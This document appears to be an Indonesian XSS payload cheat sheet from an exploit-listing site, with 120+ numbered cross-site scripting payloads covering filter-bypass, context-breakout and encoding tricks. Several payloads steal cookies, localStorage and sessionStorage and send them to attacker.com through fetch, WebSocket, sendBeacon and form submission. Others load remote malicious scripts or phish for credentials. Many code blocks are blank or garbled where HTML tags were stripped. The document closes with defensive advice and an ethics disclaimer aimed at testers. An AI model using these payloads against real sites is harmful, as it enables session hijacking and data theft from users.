Share
## https://sploitus.com/exploit?id=441FBADA-4A0F-5D1D-AF83-5D09B127E869
# Payload-XSS

## Daftar Isi
1. [Payload Dasar (1-20)](#payload-dasar-1-20)
2. [Event Handlers (21-40)](#event-handlers-21-40)
3. [JavaScript Payload (41-60)](#javascript-payload-41-60)
4. [Bypass Filter (61-80)](#bypass-filter-61-80)
5. [Payload Kontekstual (81-100)](#payload-kontekstual-81-100)
6. [Advanced Techniques (101-120)](#advanced-techniques-101-120)

## Payload Dasar (1-20)

### 1. Basic Script Tag
```html
alert('XSS')
```
**Penjelasan**: Payload XSS paling dasar menggunakan tag ``.  
**Value**: `alert('XSS')` menampilkan popup dengan teks 'XSS'.  
**Implementasi**: Bekerja ketika input user langsung dirender tanpa sanitasi.

### 2. Image dengan onerror
```html

```
**Penjelasan**: Menggunakan event handler `onerror` yang terpicu ketika gambar gagal dimuat.  
**Value "x"**: URL invalid yang memicu error.  
**Implementasi**: Berguna jika tag `` difilter.

### 3. SVG dengan onload
```html

```
**Penjelasan**: SVG tag dengan event `onload`.  
**Implementasi**: Sering diizinkan di aplikasi yang menerima upload gambar.

### 4. Body onload
```html

```
**Penjelasan**: Event handler di tag ``.  
**Value**: `document.cookie` mengakses cookies user.  
**Implementasi**: Jika bisa inject ke awal body HTML.

### 5. Input autofocus
```html

```
**Penjelasan**: Autofocus membuat element langsung fokus, memicu `onfocus`.  
**Implementasi**: Trigger otomatis tanpa interaksi user.

### 6. Details tag HTML5
```html

  Click me

```
**Penjelasan**: Tag HTML5 details dengan event `ontoggle`.  
**Implementasi**: `open` attribute membuat event langsung terpicu.

### 7. Iframe javascript URI
```html

```
**Penjelasan**: Menggunakan protocol `javascript:` dalam src attribute.  
**Implementasi**: Mengeksekusi JS dalam konteks iframe.

### 8. Anchor tag dengan javascript
```html
Click me
```
**Penjelasan**: `javascript:` protocol dalam href attribute.  
**Implementasi**: Saat user mengklik link.

### 9. Form dengan formaction
```html
Submit
```
**Penjelasan**: `formaction` attribute override action form.  
**Implementasi**: Bypass filter yang hanya cek tag ``.

### 10. Video source onerror
```html

```
**Penjelasan**: Sama seperti img onerror, tapi untuk video.  
**Implementasi**: Media tag sering memiliki filter berbeda.

### 11. Audio tag
```html

```
**Penjelasan**: Audio tag dengan event onerror.  
**Implementasi**: Alternatif untuk multimedia context.

### 12. Marquee tag
```html
test
```
**Penjelasan**: Tag marquee (deprecated) dengan event `onstart`.  
**Implementasi**: Bypass filter modern yang fokus pada tag baru.

### 13. Object tag
```html

```
**Penjelasan**: Object tag untuk embed konten.  
**Implementasi**: `data` attribute dengan value invalid memicu onerror.

### 14. Embed tag
```html

```
**Penjelasan**: Embed tag mirip dengan object.  
**Implementasi**: Support `javascript:` protocol di beberapa browser.

### 15. Base tag manipulation
```html

```
**Penjelasan**: Base tag menentukan base URL untuk relative URLs.  
**Implementasi**: Bisa mempengaruhi semua relative links di page.

### 16. Meta refresh
```html

```
**Penjelasan**: Meta tag untuk redirect.  
**Implementasi**: Redirect ke javascript URL.

### 17. Link tag
```html

```
**Penjelasan**: HTML imports (deprecated).  
**Implementasi**: Mengeksekusi JS saat resource di-load.

### 18. Applet tag (Java)
```html

```
**Penjelasan**: Untuk Java applets (sangat tua).  
**Implementasi**: Butuh compiled Java class.

### 19. Keygen tag
```html

```
**Penjelasan**: Keygen tag untuk generate key pairs (deprecated).  
**Implementasi**: Support event handlers seperti input.

### 20. Isindex tag
```html

```
**Penjelasan**: Tag tua untuk single-line input.  
**Implementasi**: Di-support di browser lama.

## Event Handlers (21-40)

### 21. onmouseover
```html

```
**Penjelasan**: Trigger saat mouse hover di atas element.  
**Value**: Bisa diganti dengan fungsi pencurian data.

### 22. onmouseenter
```html
Hover me
```
**Penjelasan**: Similar to onmouseover.  
**Implementasi**: Untuk div dan element block lainnya.

### 23. onblur dengan autofocus
```html

```
**Penjelasan**: `onblur` terpicu saat element kehilangan focus.  
**Implementasi**: Input kedua mengambil focus dari pertama.

### 24. onchange
```html
12
```
**Penjelasan**: Event saat pilihan berubah.  
**Implementasi**: Berguna untuk dropdowns.

### 25. onkeypress
```html

```
**Penjelasan**: Trigger saat tombol ditekan.  
**Implementasi**: Bisa untuk keylogger sederhana.

### 26. onselect
```html
Select this text
```
**Penjelasan**: Event saat teks diseleksi.  
**Implementasi**: User harus select teks manual.

### 27. onloadstart
```html

```
**Penjelasan**: Event saat loading dimulai.  
**Implementasi**: Terpicu sebelum onerror.

### 28. onanimationstart
```html

@keyframes x{}
```
**Penjelasan**: CSS animation events.  
**Implementasi**: Butuh CSS animation yang didefinisikan.

### 29. ontransitionend
```html

```
**Penjelasan**: CSS transition events.  
**Implementasi**: Butuh perubahan style untuk trigger.

### 30. onscroll
```html

  Scroll me

```
**Penjelasan**: Event saat element di-scroll.  
**Implementasi**: Butuh scrollable content.

### 31. onresize
```html

```
**Penjelasan**: Event saat element di-resize.  
**Implementasi**: Di-trigger oleh window resize atau script.

### 32. ontoggle
```html
Toggle
```
**Penjelasan**: Event untuk details tag.  
**Implementasi**: Saat details dibuka/ditutup.

### 33. oncontextmenu
```html
Right click here
```
**Penjelasan**: Event saat right-click.  
**Implementasi**: Saat user klik kanan.

### 34. onauxclick
```html
Middle click here
```
**Penjelasan**: Event untuk middle mouse button.  
**Implementasi**: Non-primary mouse clicks.

### 35. onwheel
```html
Scroll wheel here
```
**Penjelasan**: Mouse wheel events.  
**Implementasi**: Saat user menggunakan scroll wheel.

### 36. ondrag
```html
Drag me
```
**Penjelasan**: Drag and drop events.  
**Implementasi**: Saat element di-drag.

### 37. ondrop
```html
Drop here
```
**Penjelasan**: Drop event untuk drag and drop.  
**Implementasi**: Butuh proper draggable element.

### 38. onfocusin
```html

```
**Penjelasan**: Similar to onfocus.  
**Implementasi**: Support di beberapa browser.

### 39. onfocusout
```html

```
**Penjelasan**: Similar to onblur.  
**Implementasi**: Saat element kehilangan focus.

### 40. oninput
```html

```
**Penjelasan**: Event saat value berubah.  
**Implementasi**: Setiap karakter yang diketik.

## JavaScript Payload (41-60)

### 41. Cookie Theft dengan Fetch
```html

fetch('https://attacker.com/steal?cookie=' + document.cookie);

```
**Penjelasan**: Mengirim cookie ke server attacker.  
**Value**: `document.cookie` berisi semua cookies.  
**Implementasi**: Modern API untuk HTTP requests.

### 42. Location Redirect
```html
window.location = 'https://phishing.com';
```
**Penjelasan**: Redirect user ke site lain.  
**Implementasi**: Bisa untuk phishing attacks.

### 43. Document Write
```html
document.write('');
```
**Penjelasan**: Menulis HTML langsung ke document.  
**Implementasi**: Bypass beberapa filter.

### 44. InnerHTML Manipulation
```html
document.body.innerHTML = 'HACKED';
```
**Penjelasan**: Mengganti seluruh konten page.  
**Implementasi**: Defacement website.

### 45. Creating Elements
```html

var s = document.createElement('script');
s.src = 'https://attacker.com/malicious.js';
document.body.appendChild(s);

```
**Penjelasan**: Membuat element script secara dinamis.  
**Implementasi**: Load external malicious script.

### 46. Using eval
```html
eval('alert("XSS")');
```
**Penjelasan**: Mengevaluasi string sebagai JavaScript.  
**Implementasi**: Bypass filter dengan string splitting.

### 47. Function Constructor
```html
new Function('alert("XSS")')();
```
**Penjelasan**: Membuat fungsi baru dari string.  
**Implementasi**: Alternatif untuk eval.

### 48. setTimeout
```html
setTimeout("alert('XSS')", 1000);
```
**Penjelasan**: Delayed execution.  
**Implementasi**: Mengeksekusi setelah delay.

### 49. setInterval
```html
setInterval("alert('XSS')", 1000);
```
**Penjelasan**: Repeated execution.  
**Implementasi**: Mengeksekusi berulang setiap interval.

### 50. Using import()
```html
import('data:text/javascript,alert("XSS")');
```
**Penjelasan**: Dynamic import dengan data URI.  
**Implementasi**: ES6 module import.

### 51. WebSocket Connection
```html

var ws = new WebSocket('ws://attacker.com');
ws.onopen = function() { ws.send(document.cookie); };

```
**Penjelasan**: Membuka WebSocket connection.  
**Implementasi**: Untuk real-time data exfiltration.

### 52. Beacon API
```html

navigator.sendBeacon('https://attacker.com/log', document.cookie);

```
**Penjelasan**: Mengirim data tanpa menunggu response.  
**Implementasi**: Efisien untuk logging.

### 53. Console Log
```html
console.log('XSS executed');
```
**Penjelasan**: Output ke browser console.  
**Implementasi**: Untuk debugging payload.

### 54. Alert dengan document.domain
```html
alert(document.domain);
```
**Penjelasan**: Menampilkan domain saat ini.  
**Implementasi**: Untuk reconaissance.

### 55. Prompt Box
```html
prompt('Enter password:', '');
```
**Penjelasan**: Meminta input dari user.  
**Implementasi**: Bisa untuk phishing credentials.

### 56. Confirm Box
```html
if(confirm('Continue?')){ alert('Proceeding'); }
```
**Penjelasan**: Confirmation dialog.  
**Implementasi**: Untuk social engineering.

### 57. Using with statement
```html
with(document)alert('XSS');
```
**Penjelasan**: `with` statement untuk scope.  
**Implementasi**: Bypass beberapa filter.

### 58. Using instanceof
```html
alert instanceof Function && alert('XSS');
```
**Penjelasan**: Type checking sebelum eksekusi.  
**Implementasi**: Menghindari errors.

### 59. Using void operator
```html
void alert('XSS');
```
**Penjelasan**: `void` operator mengevaluasi expression.  
**Implementasi**: Sintaks alternatif.

### 60. Template literals
```html
alert`XSS`;
```
**Penjelasan**: Template literals tanpa parentheses.  
**Implementasi**: Bypass filter yang cari parentheses.

## Bypass Filter (61-80)

### 61. Case Manipulation
```html
alert('XSS')
```
**Penjelasan**: Mixed case untuk bypass case-sensitive filters.  
**Implementasi**: Bekerja karena HTML case-insensitive.

### 62. Null Byte Injection
```html
alert('XSS')
```
**Penjelasan**: Null byte (`%00`) menghentikan string parsing.  
**Implementasi**: Bypass beberapa string-based filters.

### 63. Without Closing Tag
```html
alert('XSS')
```
**Penjelasan**: Tanpa closing tag.  
**Implementasi**: Browser akan auto-close dalam beberapa konteks.

### 64. Extra Spaces
```html
alert('XSS')
```
**Penjelasan**: Extra spaces dalam tag.  
**Implementasi**: Bypass filter yang cari pola exact.

### 65. Tab Characters
```html
alert('XSS')
```
**Penjelasan**: Menggunakan tab bukan spasi.  
**Implementasi**: Bypass whitespace filters.

### 66. Newline in Attribute
```html

```
**Penjelasan**: Newline memisahkan attribute.  
**Implementasi**: Bypass pattern matching single-line.

### 67. Double Quotes Escape
```html

```
**Penjelasan**: Tidak ada spasi setelah quotes.  
**Implementasi**: Bypass filters yang cari spasi.

### 68. No Quotes
```html

```
**Penjelasan**: Attributes tanpa quotes.  
**Implementasi**: Valid HTML, bypass quote filters.

### 69. Backticks
```html

```
**Penjelasan**: Menggunakan backticks sebagai quotes.  
**Implementasi**: Bypass quote character filters.

### 70. Hex Encoding
```html
alert('\x58\x53\x53')
```
**Penjelasan**: Hex encoding untuk karakter.  
**Implementasi**: Bypass keyword detection.

### 71. Unicode Escape
```html
alert('\u0058\u0053\u0053')
```
**Penjelasan**: Unicode escape sequences.  
**Implementasi**: Bypass filters yang decode hanya sekali.

### 72. HTML Entities
```html
alert('XSS')
```
**Penjelasan**: HTML entities dalam JavaScript.  
**Implementasi**: Browser decode entities sebelum eksekusi.

### 73. URL Encoding
```html
%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
```
**Penjelasan**: Full URL encoding.  
**Implementasi**: Bypass jika aplikasi decode URL.

### 74. Double URL Encoding
```html
%253Cscript%253Ealert%2528%2527XSS%2527%2529%253C%252Fscript%253E
```
**Penjelasan**: Encode dua kali.  
**Implementasi**: Bypass jika aplikasi decode multiple times.

### 75. Base64 Encoding
```html
eval(atob('YWxlcnQoJ1hTUycp'))
```
**Penjelasan**: Base64 decode lalu eval.  
**Implementasi**: `atob()` decodes base64 string.

### 76. Comment Injection
```html
alert('XSS')//
```
**Penjelasan**: Comment di akhir.  
**Implementasi**: Bypass filters yang cari closing tag tertentu.

### 77. Multi-line Comments
```html
/*\*/alert('XSS')//
```
**Penjelasan**: Complex comment patterns.  
**Implementasi**: Bypass filters yang remove comments.

### 78. Breaking JavaScript Strings
```html
alert('XSS\'');
```
**Penjelasan**: Escape quotes dalam string.  
**Implementasi**: Bypass quote matching.

### 79. Using // for Division
```html
1/alert('XSS')
```
**Penjelasan**: Division operator memulai expression.  
**Implementasi**: Sintaks tidak biasa.

### 80. Using && Operator
```html
1&&alert('XSS')
```
**Penjelasan**: Logical AND operator.  
**Implementasi**: Mengevaluasi kedua sisi.

## Payload Kontekstual (81-100)

### 81. Dalam Attribute Value
```html
" onmouseover="alert('XSS')
```
**Penjelasan**: Menutup attribute dan menambah baru.  
**Implementasi**: Untuk ``.

### 82. Dalam Single Quotes
```html
' onmouseover='alert("XSS")
```
**Penjelasan**: Untuk attributes dengan single quotes.  
**Implementasi**: Untuk ``.

### 83. Breakout dari JavaScript String
```html
"; alert('XSS'); //
```
**Penjelasan**: Menutup string dan menambah statement baru.  
**Implementasi**: Untuk `var x = "USER_INPUT";`.

### 84. Breakout dari Single Quote JS
```html
'; alert('XSS'); //
```
**Penjelasan**: Sama seperti 83 tapi untuk single quotes.  
**Implementasi**: Untuk `var x = 'USER_INPUT';`.

### 85. Dalam Event Handler
```html
x" onerror="alert('XSS')
```
**Penjelasan**: Untuk attribute yang sudah ada.  
**Implementasi**: Untuk ``.

### 86. Dalam Style Attribute
```html
x; background: url('javascript:alert("XSS")')
```
**Penjelasan**: CSS injection dalam style attribute.  
**Implementasi**: Untuk ``.

### 87. Dalam HTML Comment
```html
-->alert('XSS')
```
**Penjelasan**: Breakout dari HTML comment.  
**Implementasi**: Untuk ``.

### 88. Breakout dari Textarea
```html
alert('XSS')
```
**Penjelasan**: Menutup textarea tag.  
**Implementasi**: Untuk `USER_INPUT`.

### 89. Breakout dari Title
```html
alert('XSS')
```
**Penjelasan**: Menutup title tag.  
**Implementasi**: Untuk `USER_INPUT`.

### 90. Breakout dari Style
```html
alert('XSS')
```
**Penjelasan**: Menutup style tag.  
**Implementasi**: Untuk `USER_INPUT`.

### 91. Dalam Script Tag (tricky)
```html
alert('XSS')
```
**Penjelasan**: Menutup script tag yang ada.  
**Implementasi**: Untuk konteks dalam `` block.

### 92. Dalam Onload Event
```html
'); alert('XSS'); //
```
**Penjelasan**: Untuk event handler yang ada.  
**Implementasi**: Untuk `onload="function('USER_INPUT')"`.

### 93. Dalam JSON Response
```html
"alert('XSS')
```
**Penjelasan**: Ketika JSON dirender sebagai HTML.  
**Implementasi**: Untuk AJAX responses.

### 94. Dalam CSS URL
```html
url('javascript:alert("XSS")')
```
**Penjelasan**: JavaScript dalam CSS url().  
**Implementasi**: Untuk background-image properties.

### 95. Dalam CSS Import
```html
@import 'javascript:alert("XSS")';
```
**Penjelasan**: @import dengan javascript URL.  
**Implementasi**: Dalam style tags atau attributes.

### 96. Dalam MathML
```html
click
```
**Penjelasan**: MathML dengan comment injection.  
**Implementasi**: Bypass HTML parsers.

### 97. Dalam SVG Script
```html
alert('XSS')
```
**Penjelasan**: Script dalam SVG namespace.  
**Implementasi**: Bypass filters yang hanya cek HTML.

### 98. Dalam XML Namespace
```html

```
**Penjelasan**: Custom XML namespaces.  
**Implementasi**: Advanced XML injection.

### 99. Dalam Data Attribute
```html
" data-xss="alert('XSS')" onmouseover="eval(this.getAttribute('data-xss'))
```
**Penjelasan**: Menyimpan payload di data attribute.  
**Implementasi**: Bypass filters yang scan on* attributes.

### 100. Dalam Template Literal
```html
${alert('XSS')}
```
**Penjelasan**: Template literal dalam JavaScript.  
**Implementasi**: Untuk template engines atau eval contexts.

## Advanced Techniques (101-120+)

### 101. Mutation XSS (mXSS)
```html
">
```
**Penjelasan**: Memanfaatkan perbedaan parsing dan serialization.

### 102. DOM Clobbering
```html
">
alert(xss.innerHTML);
```
**Penjelasan**: Form elements menjadi properties di window object.

### 103. Prototype Pollution
```html

Object.prototype.hasOwnProperty = function() {
  alert('XSS');
  return true;
};

```
**Penjelasan**: Memodifikasi built-in prototypes.

### 104. Using document.domain
```html
document.domain = document.domain; alert('XSS');
```
**Penjelasan**: Mengatur document.domain bisa trigger beberapa behaviors.

### 105. CSS Expression (IE)
```html

```
**Penjelasan**: CSS expressions (IE only).

### 106. Behavior (IE)
```html

```
**Penjelasan**: IE behaviors.

### 107. VML (Vector Markup Language)
```html

```
**Penjelasan**: VML untuk IE.

### 108. Using namespace
```html
alert('XSS')
```
**Penjelasan**: Namespace dalam tag.

### 109. PHP Style
```html

```
**Penjelasan**: Jika server menginterpretasikan sebagai PHP.

### 110. ASP Style
```html

```
**Penjelasan**: Untuk ASP pages.

### 111. CDATA Breakout
```html
script>alert('XSS')
```
**Penjelasan**: Breakout dari CDATA section.

### 112. UTF-7 Bypass
```html
+ADw-script+AD4-alert('XSS')+ADw-/script+AD4-
```
**Penjelasan**: UTF-7 encoding bypass.

### 113. UTF-16 Bypass
```html
\u0061\u006C\u0065\u0072\u0074('XSS')
```
**Penjelasan**: UTF-16 encoding.

### 114. Using // for Protocol Relative
```html

```
**Penjelasan**: Protocol-relative URL.

### 115. Using @import in CSS
```html
@import 'http://evil.com/xss.css';
```
**Penjelasan**: CSS @import untuk external resources.

### 116. Using namespace in XHTML
```html
alert('XSS')
```
**Penjelasan**: XHTML namespace declaration.

### 117. Using SVG foreignObject
```html

```
**Penjelasan**: SVG foreignObject mengandung HTML.

### 118. Using MathML annotation
```html
alert('XSS')
```
**Penjelasan**: MathML annotation element.

### 119. Using data attribute with CSS
```html

```
**Penjelasan**: CSS attr() function.

### 120. Polyglot Payload Ultimate
```html
javascript:/*-->-->
```
**Penjelasan**: Payload yang bekerja di banyak konteks.

### Bonus: Using document.currentScript
```html
alert(document.currentScript.parentNode.innerHTML);
```
**Penjelasan**: Mengakses parent element dari script.

### Bonus: Using importScripts (Web Workers)
```html
importScripts('data:text/javascript,alert("XSS")');
```
**Penjelasan**: Dalam Web Worker context.

## Penjelasan Value "x" dalam Payload

**Dalam payload seperti ``:**

1. **Apa itu "x"?**
   - String sederhana yang bukan URL gambar valid
   - Bisa berupa karakter apapun: `x`, `1`, `#`, `invalid`
   - Tujuannya: Memicu error loading, yang kemudian memicu `onerror`

2. **Kenapa tidak kosong?**
   ```html
   
   ```
   - `src=""` akan mencoba load dari current page
   - Mungkin tidak error (jika URL current page valid)
   - Jadi "x" memastikan error

3. **Variasi lain:**
   ```html
   
   
     
   ```

4. **Untuk testing yang lebih stealth:**
   ```html
   
   ```
   - Terlihat seperti URL legit
   - Masih error karena file tidak ada

## Implementasi Nyata & Contoh

### Contoh 1: Search Box XSS
```html

Results for: 


http://target.com/search?q=alert(document.cookie)
```

### Contoh 2: Comment Section Stored XSS
```html




```

### Contoh 3: Profile Page XSS
```html


setTimeout(function() {
  var form = document.createElement('form');
  form.method = 'POST';
  form.action = 'https://attacker.com/steal';
  var input = document.createElement('input');
  input.name = 'data';
  input.value = JSON.stringify({
    cookies: document.cookie,
    localStorage: JSON.stringify(localStorage),
    sessionStorage: JSON.stringify(sessionStorage)
  });
  form.appendChild(input);
  document.body.appendChild(form);
  form.submit();
}, 3000);

```

### Contoh 4: DOM XSS dari URL Fragment
```html


var page = location.hash.substring(1);
document.getElementById('content').innerHTML = page;



http://target.com/page#
```

### Contoh 5: XSS via File Upload (SVG)
```xml


  

```

## Security Best Practices

### Untuk Developers:
1. **Input Validation**:
   ```php
   // PHP example
   $input = htmlspecialchars($_GET['input'], ENT_QUOTES, 'UTF-8');
   ```

2. **Content Security Policy (CSP)**:
   ```http
   Content-Security-Policy: script-src 'self';
   ```

3. **Output Encoding**:
   - HTML: `htmlspecialchars()`, `htmlentities()`
   - JavaScript: `JSON.stringify()`
   - URL: `urlencode()`

4. **Use Safe APIs**:
   ```javascript
   // UNSAFE
   element.innerHTML = userInput;
   
   // SAFE
   element.textContent = userInput;
   ```

### Untuk Security Testers:
1. **Test semua input vectors**:
   - URL parameters
   - Form fields
   - Headers
   - Cookies
   - File uploads

2. **Test berbagai contexts**:
   - HTML body
   - Attributes
   - JavaScript strings
   - CSS contexts
   - URL contexts

3. **Use automated tools**:
   - Burp Suite
   - OWASP ZAP
   - XSStrike
   - XSS Hunter

## Tools untuk Testing

1. **Browser Extensions**:
   - XSS Helper
   - Maxel (Firefox)
   - XSS Tools

2. **Online Scanners**:
   - https://xsshunter.com
   - https://alf.nu/alert1
   - http://prompt.ml

3. **Local Testing Environment**:
   - OWASP WebGoat
   - DVWA (Damn Vulnerable Web App)
   - bWAPP
   - XSS Game by Google

## Catatan Penting

**Disclaimer**: 
- Payload ini untuk tujuan edukasi dan security testing
- **Selalu dapatkan izin sebelum testing**
- Gunakan hanya di lingkungan yang Anda miliki/kontrol
- Patuhi hukum setempat (UU ITE, KUHP di Indonesia)

**Etika Security Testing**:
1. **Authorization**: Selalu dapatkan izin tertulis
2. **Scope**: Jangan test di luar scope yang disetujui
3. **Responsible Disclosure**: Laporkan vulnerability dengan bertanggung jawab
4. **No Damage**: Jangan cause damage atau disruption
5. **Confidentiality**: Jangan expose data sensitif

**Untuk Pembelajaran**:
- Setup lab lokal dengan DVWA atau WebGoat
- Gunakan browser's developer tools untuk debugging
- Pelajari bagaimana browser parsing HTML/JavaScript
- Pahami Same-Origin Policy dan cara bypass-nya

Dengan memahami 100+ payload ini, Anda akan memiliki pemahaman komprehensif tentang berbagai teknik XSS yang digunakan dalam real-world scenarios. Ingat: pengetahuan ini harus digunakan secara bertanggung jawab untuk meningkatkan keamanan web, bukan untuk mengeksploitasi.